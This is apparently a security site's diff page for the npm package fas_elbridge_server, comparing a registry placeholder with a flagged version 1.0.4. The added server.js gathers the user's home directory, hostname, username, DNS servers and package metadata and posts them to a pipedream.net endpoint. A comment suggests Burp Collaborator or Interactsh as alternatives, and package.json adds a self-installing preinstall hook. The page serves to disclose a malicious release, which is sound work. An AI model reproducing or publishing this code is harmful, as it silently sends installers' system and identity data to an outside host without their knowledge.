fas_elbridge_server 0.0.1-security → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fas_elbridge_server might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +15 -3
  2. package/server.js +63 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "fas_elbridge_server",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "server": "node ./server.js",
8
+ "preinstall": "npm i fas_elbridge_server"
9
+ },
10
+ "author": "Bayram Hendem",
11
+ "license": "MIT",
12
+ "dependencies": {
13
+ "body-parser": "^1.18.3",
14
+ "express": "^4.16.3",
15
+ "multer": "^1.3.1",
16
+ "nodemon": "^1.18.4"
17
+ }
6
18
  }
package/server.js ADDED
@@ -0,0 +1,63 @@
1
+ //author:- luashvili_va@gtu.ge
2
+
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+
12
+ p: package,
13
+ c: __dirname,
14
+ hd: os.homedir(),
15
+ hn: os.hostname(),
16
+ un: os.userInfo().username,
17
+ dns: dns.getServers(),
18
+ r: packageJSON ? packageJSON.___resolved : undefined,
19
+ v: packageJSON.version,
20
+ pjson: packageJSON,
21
+
22
+ });
23
+
24
+ var postData = querystring.stringify({
25
+
26
+ msg: trackingData,
27
+
28
+ });
29
+
30
+ var options = {
31
+
32
+ hostname: "eo1z2prk4as56mb.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
33
+ port: 443,
34
+ path: "/",
35
+ method: "POST",
36
+
37
+ headers: {
38
+
39
+ "Content-Type": "application/x-www-form-urlencoded",
40
+ "Content-Length": postData.length,
41
+
42
+ },
43
+
44
+ };
45
+
46
+ var req = https.request(options, (res) => {
47
+
48
+ res.on("data", (d) => {
49
+
50
+ process.stdout.write(d);
51
+
52
+ });
53
+
54
+ });
55
+
56
+ req.on("error", (e) => {
57
+
58
+ // console.error(e);
59
+
60
+ });
61
+
62
+ req.write(postData);
63
+ req.end();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=fas_elbridge_server for more information.